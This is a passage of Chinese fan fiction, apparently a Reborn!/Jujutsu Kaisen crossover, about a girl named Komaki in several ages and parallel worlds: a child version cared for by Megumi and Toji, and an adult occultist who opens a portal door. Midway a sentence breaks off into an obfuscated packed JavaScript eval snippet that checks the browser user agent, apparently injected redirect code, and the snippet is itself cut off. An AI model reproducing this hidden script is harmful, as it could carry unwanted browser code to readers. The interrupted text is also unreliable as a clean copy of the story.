再后面的日子就很好过,在小莳一人的努力之下,整个钟楼焕然一新,外面依旧古拙,里面。主要是小莳蜗居的那一层和走廊,都被清理得干干净净,房间里的床品和书桌都被打扫得至少三米外看不见灰尘,更多的她也不愿意费神,零散的手稿被归类放整齐,小莳依照自己最近喜欢的用不同颜色笔做标注的习惯,自费--从入江正一的口袋里掏钱,给她置办了几支新的笔和文件夹。 入江正一如今入职彭格列第二年,空有十年后自己做副指挥的记忆,实际牵扯到具体事务多有不通,小莳帮了他不少。她记忆力好,对看过几次的报告格式和规章标准都能记在脑袋里,给对方提供了不少行之有效的工作建议。他很感激这个据说以前很恐怖的女孩,不管怎样十一年以后的她帮了大忙。 和狱寺的关系也好了起来,她是知道的,对方说话比心里想的难听了无数个级别。不过刚来的时候确实遭受了一些心理打击,小莳不愿意和他说太多话,本来压力就大,再听点刀子嘴说不定自己真的要破防了。当然还有一点,如果狱寺的良心因此受到一点折损,在十年前的她回来后,也许他会给予更多的包容。 她的一股子聪明劲被里包恩看在眼里,所有举动也在被这个冷酷的未来老师评估着。“怎么样,我这样优秀又有天赋的小女孩,足以成为你的弟子了吧?” 身形矮小但是穿着成熟的里包恩轻哼了一声。 “我们十年后的关系很好的,不过这不足以说服现在的你,里包恩,你总是要看到实打实的指标,肉眼可见的成效。”小莳低下头,白白的发丝蹭到了他帽檐的变色龙,“让我告诉你一个秘密---” 所有的话语就从她的口中涌入未来老师的耳。 “我会帮你们解决很多事情的……至于以后无论多么深厚的感情,当然要从你们这些大人开始培养,现在我才是7岁的小女孩呢!”即使事情在最初和她想象的不一样,小莳也决定要相信在之后的变迁中,它会一步一步迈向自己所预期的方向,唯有这样才能让它往更好处发展。 信念感对于术士来说,也是不可或缺的东西,在心疼过去可怜没人爱的自己的同时,也要相信她能有将事情好转的能力,这算是一点对自己应该抱有的信心。 小莳并非是发表演讲的专家,不过在这一行难免有要发言的时刻,她至少可以顺畅地表达想法。游说可是一门人际交往中的必要技能:“我相信自己会倾尽一切从不该陷入的苦海里逃脱出来的,毕竟,谁不想过身边有亲人和同伴的好日子?在未来,我有一只匣兵器,它是一只鸟,可以载我飞行。并非是杰贝特·罗伦奇尼所构想的343号编号中的任何一个,这是超过7^3的另外一个,源于我曾经看过的一个上古的神话。它叫帝女雀,一般更为人熟知的名字是精卫。我想说,被洪水滔天溺毙后复仇的决心是它移山倒海的锐气之源,而我也会有只属于自己的觉悟,即使在一些人并不看好的情况下……但是我需要你们的帮助。” “所以,帮帮我吧,老师?” “这是一笔合算的买卖,如果不是买卖,那就是情感的投资。”小莳歪着头,小指勾起未来老师拉低的帽子,看见对方圆滚滚但是含笑的眼睛,她知道这是绝好的迹象。 她被一枪竿抽在了颧骨上,捂着左脸后退三五步,冷冰冰的小变色龙打人还是一如既往的疼。 “嘛,有相信事情一定会变好的信念,难以估量的天分还有誓死不二的决心,小莳,你的口才也许比阿纲那家伙更适合做首领。” “这就不至于了。”想念反转术式还没有发明的第二天,小莳戳戳自己吹弹可破并且已经肿起的小脸蛋,“你夸人的时候一般是给布置工作的前奏。不过当然,你可以安排我做任何事。” 小莳在十年前的巴勒莫体验了一把不辞劳苦的保洁员、极力推销的销售,最后还要做主动揽活的业务达人,真是别开生面的一些天。 尝试截然不同的可能性,怎么不算是一种疯狂。 直到彭格列的首领结束一轮补考,终于来到意大利,小莳还在这个时代消磨着时间。她在年幼一岁的兄长面前原形毕露了,“打工好苦,我不想打工。阿纲,你带我走吧。” 和大家说的可靠稳重还有一点活泼完全不一样,这个小莳看上去……就像另一个干不好事情的他。他很喜欢这个【妹妹】。 又过了两天才意识到这就是传说中那种“你的好同学在考试前和你一起哀嚎,考后一起痛骂出题人,最后ta奖学金你补考”的反差选手。 “废柴纲,你学学你妹妹。” 对照组的小莳目光坚定,挪开视线,抱歉了哥,不会有任何人对你有意见,但我还得给孩子挣监护人的偏爱。问就是师命难违。 杀手毕竟也是一种背刺率极高的职业,不可指望。 对于业务员来说,西西里的工作也有闲暇时间,但是小莳现在身为眼里有活的表现欲旺盛新入职员工,她这个时间段是歇不下来的。 “小莳,其实……你不那么努力也没关系。” 她把演练了无数次的违心话说了出来:“没关系,因为大家对我都很好,我很开心,所以做什么都没关系。” “骗人,你明明就想回去了。”果然还是骗不过超直感,“未来的我们都会包容你,你也可以像相信他们一样相信我们。我听说狱寺君还有蓝波在一开始说了些过分的话,我替他们向你道歉,狱寺君也特别后悔,他,呃,你不太搭理他的这几天,他其实有些愧疚,毕竟即使是十年后的你也只是高中的年纪,对于那个时代的我来说,你也是我应该要保护的家人。” 说完这句话以后阿纲陷入了一场脸红的自我慌乱,最后还是说出“我也不敢100%确定,毕竟也没见过他,但是如果是我的话,这就是我的想法,我相信十年后的我也依旧会这样想。” 他想得真不错,所以才是个好哥哥。 “那我明天给自己休息一天。”好耶,放假!做六休一! 然后…… 次日,狱寺隼人带她去了四角广场。 小莳觉得,自己再一次成为了观光客。 算了算了,毕竟是巴勒莫著名景点,大家都爱从这开始。“上次蓝波刚带我来玩过一轮,你俩还真是默契。” 狱寺忍气吞声不说话。小莳知道他心里有种优等生的骄傲,不屑和心里认定的笨蛋相提并论。 他们在四角广场拍了照,用蓝波倾情推荐的方式。 “这方法真不错,是十年以后的网络流行吗?”开始找话题。 她轻飘飘:“不清楚,蓝波教我的。” “……” 也许有的人会觉得欺负比自己小一岁的人是不好的举动,但小莳并非此观点的信徒,她这一天重游了一遍上次旅行的景点,在其中获得了不少乐趣--大部分源于与上次不同的同行者。 结束了行程后,她感慨:“你真是脾气变好了,真好,我很感激。”有多少感激也不好说,但玩弄了别人一天,说点好话总不委屈。 狱寺看着脾气很坏,实际也还是会被一两句软话收买的阶段,小莳又夸了夸他的体贴程度---远不如她的男友和,嗯,甚尔,但这可是狱寺隼人! 最后一句不愧是未来公认的左右手,彻底打动了他。因为对上了狱寺隼人的屁股,所以他的脑袋站在了小莳这边,小莳的未来是他期待的未来。 “我会有多可靠呢?”他的表情是wakuwaku,和沉稳还有可靠是平行时态。 小莳仔细一想还确实想起了些他的工作内容:“还是很喜欢不可思议现象和月刊世界之谜,但是没人会因为这个质疑你的专业性。多可靠--你是家族的保密员,这算吗?所有人能知道的不能知道的内容,你都有通往它们的密钥。” 他幸福得快要晕过去了。 小莳将记忆中的脸和面前这张对应上,心想,也许我还真是个绝世天才。我只比这个笨蛋年长一岁,而他十一年以后可是很优秀的。 两个人各想各的,但都怀着快乐的心情回去。 * 伏黑甚尔是罕见地没有被小莳排斥的人,这一事实令众人既惊讶又不满。他在一个对视后打开了没有从内部上锁的窗户,然后跳进了小莳的房间。 四个人从隔壁房间的窗户里探出头,准确的说,成功目睹他进去始末的只有伏黑惠和五条悟,窗户大小有限。几秒钟以后,想象的爆炸,雷电,轰鸣,什么都没有发生。 最先对这一现象发表意见的是活泼的五条老师:“哇哦,看来他们相处挺愉快的。” “也有可能是他把小莳打晕了。”夏油杰给出自己的猜测。 事实上,每个人只能从自己所知的信息里给出有限的推测,夏油杰所说的一切基于他对伏黑甚尔野蛮、暴力、反社会的认知,但五条悟能看到更多,嗯……反正这个家伙他超爱的,做不出那种事。 被甩开手又被锁在门外的伏黑惠没有说话,他被轻易地撇下了,而他没办法撇下她。 五条悟不赞成地看了挚友一眼,随即用一种轻松的、没什么事的口吻说道:“既然那家伙也进去了,我们把小惠送进去,然后--就散场吧!” “等等--”伏黑惠在身体一轻的时候终于开口,然而下一秒他就出现在了小莳窗棂外的半空中,离地一层楼,他被丢进了小莳的房间。腰在乱糟糟的桌上被书角膈到,有点疼。 从地板上站起来,回头看,看见老师招了招手就离开了,还有不知道什么时候变得乱糟糟的书桌。应该是小莳在这段时间里弄乱的,她还真是……在这方面有天赋,从小到大都是。 转回头,她窝在房间最靠门的角落里抱着膝盖低头,地上什么也没有。伏黑甚尔在铺床,他把被子反着叠成一个筒,伏黑惠记得曾经听小莳说过,她以前热爱钻被窝筒,然后把被子两边都压在身体底下,就这样在其中入睡。显然,他的父亲也知道这件事。 还把它付诸实践了。 做完一切后,伏黑甚尔往小莳蜷缩的角落里走去,在迈出第一步时,她的目光就盯向他面前的地面,然后他就一直往前走,却不能靠近一步。 这是某种幻觉,但比昨天和今天早上伏黑惠所看见的那些怪奇强大的温和不少,伏黑甚尔语调平常,好像他们认识好久了,也不为这一切起情绪:“晚上九点,是你睡觉的时候,你应该上床。” 她拒绝,说不要。 伏黑惠觉得真见鬼,脱口而出就是:“你会说话?” 被小女孩用一种鄙夷的眼神瞥了一眼后,他自知失言,也发现了,她当然会说话,她当然具有理解事物的能力,只是她的眼里没有其他任何人,唯一一个能搭理的对象是伏黑甚尔。不是他。 酸涩、嫉妒,没有交往前的种种情绪随记忆涌上心头,他好像又回到了那个什么都做不到就被隔绝在外的时候。 “为什么不睡觉。” 小莳用一种不急不慢的口吻说:“我不喜欢你,睡不着。”意思就是等他们离开她才愿意睡觉。她冷静异常,与之前见到的狂怒的幻术还有狠厉眼神都不同,连眼睛都没有眨一下,也不叫喊,周围没有环境的异象。像个有坚定意志的冷静的成年人,而且表达顺畅。 “为什么不喜欢我?” 她皱起眉头,有些愠怒:“你很邪恶,对我有害。” “我不会伤害你。” 伏黑惠听见了这两天以来小莳说过的最长的一段话,她说话的时候一字一顿,措辞像是从文书里摘来的那样书面、规整:“在你身上的是暴力,你所展示的是暴力,也许你尚未意识到,但你确凿无疑是这样的人。我希望你走。” 他于是就被伏黑甚尔带走了,离开的时候对方还朝小姑娘笑了一下,对她说明天见。他们把窗前的桌子搬开到了卡住书架的地方,这样就可以打开窗户直接翻走。 小莳的眼睛一直盯着他们,直到两人都跳出窗户,并且帮她把玻璃拉上,还有窗帘。 他们在长着一棵树的院子从月升到月落,房间里的灯被关上,再又一阵子,伏黑甚尔推了推他的肩膀,“走吧,我们进去看她。” “?” “你等着不就是为了这个吗?她的感知能力很弱,轻点,她不会发现。” “……”伏黑惠只是想看看他接下来要做什么。“你不是说了明天见?” “是啊,我很邪恶。”和他不熟的父亲在月光下咧嘴一笑,嘴边的疤确实透露出邪恶的味道。 伏黑惠还有好些问题,都伴随着一天之内的连续爬窗户消失,最后他只说:“你们第一次见面,为什么彼此认识的样子?” 伏黑甚尔说多半是因为他小时候过得也不太好,在一些场景中,羊群与困兽有相通之处--它们都能识别同类。伏黑惠因此就知道了他以前果然没干什么好事,而且小莳的直觉,一如既往起效。或者说是像未来一样发挥作用。 同时也有一种因为无法被小莳认知与识别的虚弱感,他有一种被当成了一株草的错觉:小莳在五条老师和夏油杰引发的反抗对比之下,对他没什么警惕之心,还会抱着他的脱兔,但一株草,它就只是多余的存在,她不喜欢他,他没办法取悦她。一个不被观察的事物不会引起任何情绪。 伏黑甚尔一蹦就摸到了窗框,然后手指牵引手臂,身体向上,他的眼睛就和窗户平齐,他在透过窗帘的空隙往房间里面看。时间过了有十几秒,或者二十几秒,他一只手离开窗户的支撑,向自己招了招,唤自己上去。 伏黑惠却没有动,他没办法直接跳到二楼,借力的话就会发出声音了。 更糟糕的是,伏黑甚尔嘲笑他。 最后他找到了院子里搁在房子侧边的梯子,借助它爬上了二楼的窗,伏黑甚尔已经进去了,晚间的风将窗帘吹动,伏黑惠很快从窗户开的口中跳进房间,落地没有发出声音。房间里很黑,但是借助月光和咒力的加强,他看见了睡在房间一角的小莳--她并未上床,只是揪着裤脚,睡倒在地板上,呼吸均匀。 她被伏黑甚尔从地板上抱起来,脑袋被他用手臂承托着,如他所言,睡得很安稳。 不过在隐隐约约的月光和风下,伏黑惠看见了小莳从眼尾淌下的一点泪珠。在她被放置到被窝里后,他帮她擦掉了。 泽田奈奈在敲门时小莳还没醒,伏黑惠已经在一楼帮忙将蒸好的菜端上桌了,他还动用自己的手艺,做了一道舒芙蕾。 这是他在交往中为数不多得到小莳表扬的早餐备选。 今天7岁的小莳吃了一口就对奈奈说“谢谢妈妈。”然后再也没动过。 泽田奈奈:“哎呀,那是惠君做的,不把它吃完吗?” 已经够了,伏黑惠有一种无地自容的羞耻感。 脸蛋被奈奈用新新的毛巾和热热的水擦得整洁又白里透红,五官稚嫩的小莳看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以伏黑惠持续地在用热脸贴冷屁股,五条悟是这么形容的,夏油杰主要是为自己的两个孩子在对比中脱颖而出而高兴,在泽田纲吉和云雀恭弥的双重保险中,确定早晚有一天属于这个时代的小莳会回来后,他就彻底放弃了对这件事的干预。 不过就算夏油杰不主动去探知,五条悟也会及时跟进并且和他分享的。 伏黑惠在这场被一堆好友八卦成拉条跑圈比赛的进程里暂居领先地位,不得不说脱兔的效用在小莳这里比他们所有人想象的更明显。 “我就说抑郁症的小孩该养宠物吧?也许你应该答应美美子,她看中的那只博美挺可爱的。” “这个免谈,我觉得美美子挺正常的。” “哎呀,做家长的最忌讳说【我觉得】了。” “悟。” “怎么了?” “你不许在姐妹们面前说起那只狗。” “你好专制,你是那种因为不喜欢某种蔬菜就不许家里的餐桌上出现它们的专制家长吗?” 对食品几乎没有偏好的夏油杰被这个比喻冒犯了。 “养宠物和吃东西是不一样的,要对它们负责,这是一个家庭重要的决定。” 五条悟耸肩,他不再说什么。 小莳会和伏黑惠说:“我要那个,那个,还有那个。”有一次他蹲下,然后学伏黑甚尔的平淡语气告诉她,买的已经够多了,现在她房间有差不多的。于是她就会严峻地抿唇,不吭声,同时松了手,让他把东西放回去。 这是伏黑惠在观察中学到的,也是小莳能够顺利理解的沟通方式,简单、直白、阐明事实,至少他在离店两条街前都觉得自己学得不错。 两条街外,他看见她手上揪着之前明明已经被放回的商品。 而他之前没付钱。 于是他抱起小莳往回走,最后和店家道了歉,说孩子不懂事,补付了钱。 疲惫的伏黑惠得到了一个目的达成的小女孩的主动牵手。 在已经升为二年级的同期们不知道的角落,假托是出任务实际在带娃的伏黑惠觉得自己对小孩还是滤镜过多:“就这么想要吗?” 小莳是这么告诉他的:“没有比较级。” 他难以理解话中的意思。 过了一会她问:“你在不高兴吗?” “没有。我爱十年后的你,所以不会对你生气。” “那你爱我吗?” 这个就很难讲了,伏黑惠不觉得自己不至于对一个心智不成熟,生理也还是幼儿的小朋友产生爱意,实际上他也多有不耐烦。至少在心理的接受程度上,他的父亲是比他更包容的,会更任劳任怨的收拾烂摊子。 伏黑惠看到低矮的小莳抬起的脸,她的眼睛也和未来一样漂亮,他张口了几次,最后说抱歉。 又出现了,鄙夷的眼神。 7岁的平行世界的小莳问:“你不会以为我很需要你的爱意吧?” “……”那看来是他以为错了,伏黑惠的惯性思维在最近总是失效,不过和她年龄相仿的小莳也常在意料之外。 “没有你的喜欢和爱事情也不会糟糕的,你不要觉得自己很重要。”小莳嘴角挂着笑意,小手拉着他晃啊晃,“只是当我想要的时候,我就会问,仅此而已。你和它对我来说是一样的,是我想得到的东西。” 【它】指的是小莳刚刚得到的小兔包。 伏黑惠觉得这个小莳果真是脑袋里装了些异于常人的内容,他继续听。 “只不过你是未来的我的所有物,我不会贸然染指。” “……你平常都读些什么书?”伏黑惠想报警把作者们抓起来。 这一刻他理解了十几分钟前的小莳所说的【没有比较级】。对孩子来说,得陇望蜀是常态,他们的目光总盯向不属于自己的东西,并想将之纳入囊中,闪闪发光的宝石和闪闪发光的玻璃是等价物,没有优先次序。可能人类的dna里都是这么写的,但在伪装成理智的自我中心化内涵下,小莳有相应的知识,却不能够尽然处理信息。所以她会用一种看上静悄悄的正常方式践行一般小孩的哭与闹,只为了得到,不代表她真的需要。 理智仍然在荒野中培育。 只不过心理年龄不高的孩子脑袋也没发育健全,看起来统一得多,而她……又是“你是我想得到的东西”,又是“染指”。 伏黑惠也有不正常的地方,这样在成年人看来属于病态的观点,他把之当成带有夸赞和欲求意味的褒奖。不过,这还是太不健康了。 “应该是你没读过的书,听你爸说你文化水平很低。”如果她有尾巴,该翘起来了。伏黑惠把人送到狱寺隼人家门口,别墅的台阶上坐着正在等待的伏黑甚尔。 他在走的时候说:“我其实读了很多书”算是为自己的平反。总之就是十分想念女朋友。 伏黑甚尔看见小莳盯着伏黑惠的背影,问她:“你们聊了什么?” 她回答:“爱、物欲和占有。” “那小子不会聊天。”他抬手把女孩往自己肩膀上放,带她走进屋门,根据小莳所说得出了结论。 小莳点头:“我想也是。” 但是她下半句话是:“但他人挺好的,比你好。” “……”最不会聊天的人出现了。伏黑甚尔也给自己解释:“我改好了。” “那你以前不好。很邪恶。” 他说是的。 小朋友就没再理他。 伏黑甚尔以前带过几个小孩,因此知道发生什么事都是有可能的,现在突然接手了爱人的年幼版本,勉强算是就熟驾轻,她的数次沉默和不应答背后,是伏黑甚尔难得的认真思考和审慎。 他在那之后的某一天得出了答案:这是一种别扭意味上的同类相感。赤司征十郎的天帝之眼令他紧张,五条悟的六眼让他心惊,而小莳在他自己都不曾意识到事情的时候,就洞见了一切。她目力真优秀,可她也有一种缄默的美德。 伏黑甚尔小时候过的不太好,她也一样,而她不想成为在人压迫人的世界里,一个想保全自己只能抢先对人下刀的人。 她就是这么看待他的,所以在意识到以后反而更抗拒。她不想成为自己一样的人,伏黑甚尔骤然意识到这点。 她现在已经愿意在他铺的被子上睡了,也可能是因为不管她在哪入睡,最后都会被他搬到被子里。今晚,在熄灯之前,伏黑甚尔对她说:“在孤僻这点上我们确实很像,但你不是个邪恶的人,没做过违背那道【界限】、让自己后悔的事情。别害怕。” “正是因为你确实与我不同,不会对自己产生混淆,未来的你才会放任自己爱上我。”伏黑甚尔也夹带了一段关于爱的私货,贷款恋爱,而7岁的小莳因为他的话陷入了深深的震撼,久久不能入眠。 话虽如此,在两小时后例行查房的时候,她还是睡得很熟。 后来伏黑甚尔就弯道超车了,小莳会指使他做事情,他很听话。 伏黑惠,16岁,去医院还得挂儿科的年纪,感受到了一种成年人间内卷的压力,压力的直接来源是一个7岁小女孩。 “你不帮我?那我喊甚尔。” 甚尔……他们什么时候关系这么好了,好到可以直呼名字。 心态不稳,他问:“那你叫我什么?” 延续了在奈奈妈妈那边的说法,她称呼他:“惠君。” 伏黑惠蹲下来,认认真真对着小莳,说明:“11年以后,我才是男朋友,你的【甚尔】只是情人。” “我现在才只有7岁,只要安全长大就可以了,你们未来的恋爱政治学,太遥远了。等你女朋友回来再和她说明比较合适。”小莳和五条悟学会了翻白眼,现在这是她高频的动作。 虽然张口闭口爱和邪恶,但无论哪一种她都没到能真正理解他们的时候,所有的信息只是堵塞在她的脑域中而已。在尚未明确自己的边界和自我之前,小莳不会爱上任何人,对这个时代新认识的无论是谁都没产生过量的感情。 她有点喜欢兔子的红眼睛,和眼前人的绿眼睛,他的头发也很有趣,很难沟通的小莳头一次产生了想要多说两句的想法,她是个很听自己话的小女孩,所以照做了。小莳清了清嗓子:“如果她决定要比较喜欢你,那她就会的。不过我听说她爱上了伏黑甚尔。他给我的感觉很孤僻,我很喜欢。” 听谁说的?这个问题不言而喻。反正伏黑惠是闻所未闻。但小时候的小莳的话他终于听进去了,所有的倾诉欲,都不该对一个孩子说。 “好的,谢谢你告知。” “哦!”她惊呼一声。 “怎么了?” “你现在的样子,”伏黑惠又立即蹲下来,目光和她平齐后,小莳盯着他的眼睛,说:“和我在记忆里看到的一些事情重合了。很……”她有点卡壳。 “你是想说理性吗?”伏黑惠看到她难以描述的闷气表情,轻声给出了答案,“因为你说得对,这不是应该对你说的内容,我会将他们留给我的女友。” “即使你很想说?” “是的。” 于是小莳皱着眉头,感受到了另一种魅力,在那时候,她大概也不能理解魅力这个词。但如同雷电在电力被人认知之前就已经存在,此时她所经历但不能理解的一切,也都存在。 也就像她在很小的时候被灌输的一切记忆一样。只不过这些内容不像洪水海啸,只是伤不到她的涓涓细流,她觉得在混乱中难得……舒适。 在意识到“未来的自己日子过得真好呀”又几天以后,还是个小朋友的小莳在一阵粉色的烟雾中回到了属于自己的时代,然而,和预期中不一样的是,2019年的泽田小莳,仍然没有归来。 可以说,小莳失踪了。 101. 第 101 章 受小莳失踪影响最大的人物是与幸吉,他回到了药水里,备受煎熬。其次是小莳自己,她和奈亚在新的学期开始后,已经一周没去上课了。 第一件事无解,第二件事由五条悟出面,他作为五条家家主与泽田小莳的远房亲戚(自称),前往私立百花王学园亲自代小莳申请了一个月起步的假期,还应学生会长之邀观赏了一把学生们丰富多彩的课余生活。 五条悟:“……”不能小看私立百花王学园的高中生啊。 在回高专的路上,他偶遇了一名奇怪的女士。 这个戴黑框眼镜,把头发扎成低马尾,穿着商务风格西装的女人…… “你好?请问有什么事吗?”白发蓝眼的女士注意到了他的目光,她手上拿着正在挑选的番茄,“从几分钟前你就在跟着我了。” 五条悟扯下眼罩,问了一个不相干的问题:“你是不是两天没换衣服了?”从过去的小莳失踪到现在,恰好两天左右,他想,他可能知道小莳在哪里了。 江口小莳,一名小有成就的幻术师,不过自从世界被拯救以后一天天更新换代,在20岁那年她就脱离了并盛,前往世界各地巡游。现在她是背包客、神秘学家、漫游诗人、作家、诸史研习者、锁匠、舞蹈爱好者、油画画家,哦对,她还开了家酒吧。 目前的主要身份是:白天在一家公司普通的上班,晚上则应委托借助隐秘的夜幕从事当地神秘学现象的调查,同时,她在经营一个可以被理解为怪癖的密教。教主、信徒都只有她一个人。资金进项仅来源于上班工资。 她这样解释:“不过我已经两天没在工位上出现了,幸好家里的藏书一本都没带到单位摸鱼,不然怕是连桌上的多肉一起被扔掉。我直属上司早看我不顺眼,就因为我没硕士文凭。” 呐……被火箭炮联通的世界还真是包罗万象。 现在这个身无分文并且安贫乐道而且身体虚弱的上班族被请到了高专--与咒术师们熟知的小莳不同,她的身上毫无咒力的痕迹,就和很多年前的伏黑甚尔一样,没办法引起警报。 五条悟注意到她还没吃手上的西红柿。几分钟前他被对方通过暗示此物色泽鲜红,犹如血的颜色,十分诱人后买下并且赠与了这位江口女士。 “是的,我是来自于被毁灭与被拯救的第一个也是最后一个世界的孤儿江口。很高兴另一个世界的我能够被泽田收养,他们人都不错,不过那已经是十五年前的事情,我记不太清。现在我已经29岁了。” 那就是十年后火箭炮在不明的地方又出了一些混乱……眼前的小莳,并不是这个世界十年后的小莳,而是来自纲吉君曾经前往的平行世界。 “你觉得有没有一种可能,是因为这个世界毁灭了?就像快餐店里的套餐里缺了麦乐鸡,然后用大薯代替。”五条悟对这个与自己年龄相仿的平行世界者有点基础的好感。 “我不知道,这也是我的第一次异界游行。不过这更像是平行世界里发生了一些事情。”江口小莳低下头,向他表示遗憾,“也许是十年前的我在更十年前做了什么,总感觉你口中的她们都是闹腾的性格,不象我一样沉稳。” 能说出这话的人也沉稳不到哪里去。 “……”把人带到了礼堂,五条悟拨通挚友的电话,大家都是经营过宗教的人,说不定有点共同语言。不过盘星教规模大多了,首先,信众就有不下千人,其次,教主也不靠打工赚钱糊口。 这一一手信息成功震撼了夏油杰,他给自己放了剩下的半天假,约定了时间,准备与他们在狱寺隼人家汇合。 五条悟猜测江口小莳也能通过宿舍的那道门。 她失败了。 “我的幻术并没有那么好。” “与那无关,我没学过幻术,也能通过。” “那就不知道是什么原因了。”江口女士很坦然地坐在了床边的梳妆凳上,洁白的牙齿在西红柿光滑的表皮上扎了一个口,汁水四溢:“不过--你是?” 伏黑惠习惯性来到二楼,看见属于女友的房门大开,他快步走了进去,撞见正反坐在椅子上啃水果的上班族女人,她有一张和女友相仿,但更成熟也更淡漠的脸。 在听完五条悟的说明后,双方都很惊讶,“看起来不是我的类型,不过泽田小莳毕竟不是我,可能在4岁的时候她的大脑就被改造了。”江口小莳并没有那么精湛的幻术和头脑,据她自我认知,她仅有中等偏上,位于80%人前列的优秀才能,与顶尖无关。 伏黑惠则更加担忧。 话题回到之前,“你刚刚说到一半的,不过什么?” “不过我手里似乎有一个可能行之有效的仪式,源于一种名为【启】的力量。只是……” “只是?”五条悟对闻所未闻的新力量感到好奇。 “祷文和祭物都不在我身上,我怕我记不住全部的祷词。神明他老人家也不知道在不在线,你知道的,我是平行世界的人。”有一定概率不在服务区。 “那你试试吧。”平行世界的小莳居然是某种虔诚的教徒,唔,五条悟很少这么说,但如今他得到的信息来看,一切可以用“大开眼界”来形容。 自称沉稳的女人捏着拇指食指搓了搓,看着像紧张:“好,这也是我第一次用仪式,希望不会失败,念祷词是很费神的。” “……等等,你不是教主吗?” “?”这两个人在说什么?伏黑惠惊异。 三天没换衣服的打工族叹气:“祷文和祭物都很昂贵,我在上个月才攒够一套密仪的流程。神秘学这东西可烧钱了,还没来得及尝试。” 不是两天,而是三天。对于一个打工人来说,连续穿一件衣服是很正常的事。江口女士认为,自己不上网特意去搜寻上班恶心穿搭已经很给公司面子了。 “……” 在五条悟和伏黑惠的旁观下,这位女士在门周围用手指画了一圈法阵,地上未有留下任何印子,然后她跪在床边--空间有限,在没有幻术扩容的时候,床离墙仅有两人通行的距离。 他们听见她用不是日语和英语的其他语言念诵祷词,拜请拾滩鸦,祂是辖无主之物之神,能够开启大地、明晓失物,寻找隐藏的道路,洞开紧闭的门扉。 无事发生。 她哦了一声,却也没什么失望的情绪:“我可能念错了,也许应该使用【铸】。” “你这密教知识掌握得还真是七零八落。”五条悟是受过正规教育的,还是个教师,看她这样忍不住专业发作点评一两句。 “都是打工苦来的宝贝,但也只是吉光片羽,只能摸索着学。一般的神秘学事件用死气之炎就足够解决了,但泽田小莳不是那么简单的。”29岁的平行世界小莳并不为自己的失败气馁,也不因自己比不过更年幼的另一个关系相近者懊恼。 她用同一套阵法和架势又拜请白日铸炉,伏黑惠听不懂这人口中晦涩的祷词,对她平静无波的神态语气也感到陌生,这个人和小莳完全不一样,但她的一部分记忆却影响着年轻的小莳。 “所有的门扉都应开启,我将以火再造,让这扇门面临它的终结。”最后的话语是在场众人都能听懂的日语,随着话音落下,门后本来的白墙发出剧烈的光,然后碎了一地。 “你们应该不会让我赔钱吧?”淡然冷静的教主脸上终于显现了一点惶惶不安,她扭过头,认真询问看起来有不少话语权的教师,“听说你和十年前的我关系不错?还有你,男朋友?学生的话父母也会给零花钱的对吧?我反正是没有钱的。” 说最后一句话时脸上的神情已经转为了坚毅和决然。 “……” “……” 五条悟大笑着推江口小莳进入了那扇门,碎墙之后,并非是另一间宿舍,而是幽深不可见的黑暗。他回头对自己的学生说:“如果你也能进来,就跟上,果然每一个小莳身上都有有趣的地方,不过她的年纪对你来说还是有点大了,小惠。我们把她介绍给伏黑甚尔,怎么样?” “……”伏黑惠不理他,走进那扇洞开的门扉,第一次通过它前往很远的地方。 江口小莳在出门的时候撞到了桌角,捂着头,她扶正眼睛看见了门口出现的一双笔直的腿,仰头再往上追寻对方的五官,她评价道:“你长得有点像男朋友,但更老。”伏黑甚尔还没到29岁,被一个平行世界的十年后小莳嫌弃了,他也没反驳。 上一个年纪小的更难搞,这个……至少无障碍沟通。他为她泡了一杯茶,还洗了草莓。 原来他的真实身份是泽田小莳的前男友兼现情人。 “真了不起,我18岁的时候在并盛修路,还有地铁。”简单来说,持续且坚决地孤身一人。 现在的并盛恰巧也在修路,但这份工作落在了她不认识的另一个前教主身上,他叫夏油杰。挺不错的,搞城市建设一向费神,费的是别人的神就再好不过。 夏油杰注意着这个一直盯着草莓吃的女士,“听说小莳共享了你的一部分记忆,但你们并不像。至少不如她和悟相似。” “不像是好事,能在家人的陪伴下长大,是极好的。她的性格应该好很多。” 夏油杰顺着这话想起几天前7岁的小莳躲在伏黑惠后头叫他刘海怪人……呃,这个嘛,总之是有那么些偏差的。 对方开始问了他创建教派的事情。她想岔了,事实上盘星教资金雄厚,教众基础也很好,他只是在上层树倒猢狲散后半路接手然后就这样平稳的运行下去,遇到阻碍就动用武力,并且吸纳了一些咒术师伙伴做中坚力量。 淡漠的女人脸上有些哀愁:“真好,我也想要不劳而获。” 这可也不算不劳而获啊,夏油杰苦笑,对前尘旧事也不解释。 在姗姗来迟的挚友和他学生后,夏油杰得知对方的单人组织是真的能引发奇异现象的,他是真的惊讶了。 江口小莳熟练地抠下草莓蒂,在桌子上摆出一个六芒星的法阵形状--她真的吃了不少:“怎么,你的那个教不行吗?” “真遗憾,只是敛财和寻找潜在咒术才能者的幌子。祓除一些咒灵就足以被认为是显灵了。” 如果是他认识的小莳一定会撅着嘴说些不快乐的俏皮话,但江口女士不会,她看了他一眼:“不过你看起来并不开心,看来这份事业没办法满足你的渴求,所以你转行来并盛打工。” “……”一脸淡定的说出了令人误会的话,“倒,也不尽然是这样。” 江口点点头,没再多问。 后来,在聊天中,夏油杰发现她不是偏好草莓,是喜欢贵价的东西。除此之外这位女士的一切都很正常。 她后来是这么解释的:“赚钱不易。古籍和探秘都要花费资金,没有强大的靠山,月光拮据是必然的结局。”穷经皓首这个词同时也代表昂贵。 说这话的时候她在前往京都的飞机上,吃西瓜。时隔几周,他们又上了飞机,这架属于五条家,夏油杰和五条悟打算重启行程,而江口……他们顺便带她去京都的高专内,见一个叫做与幸吉的少年。 听说他的身体遭受了一种诅咒。他和以前的小莳关系挺好,现在奄奄一息,江口小莳觉得自己可以去看看他。 见到他的第一面,她知道:“我幻术一般,救不了,你们问问骸呢?”虽然彭格列的记忆有点久远,但她也知道,玛蒙请不起。 对方裹着绷带的样子让她想起一位故人:“说来我也有个熟人,天天念叨着要自杀。几天不见想来还有些怀念。” 庵歌姬:“……”这人有病吧,我们的伙伴求生意志可是很强烈的。 五条悟转动着手指提示:“你试试那个,就是~前段时间用来开门的那个。” 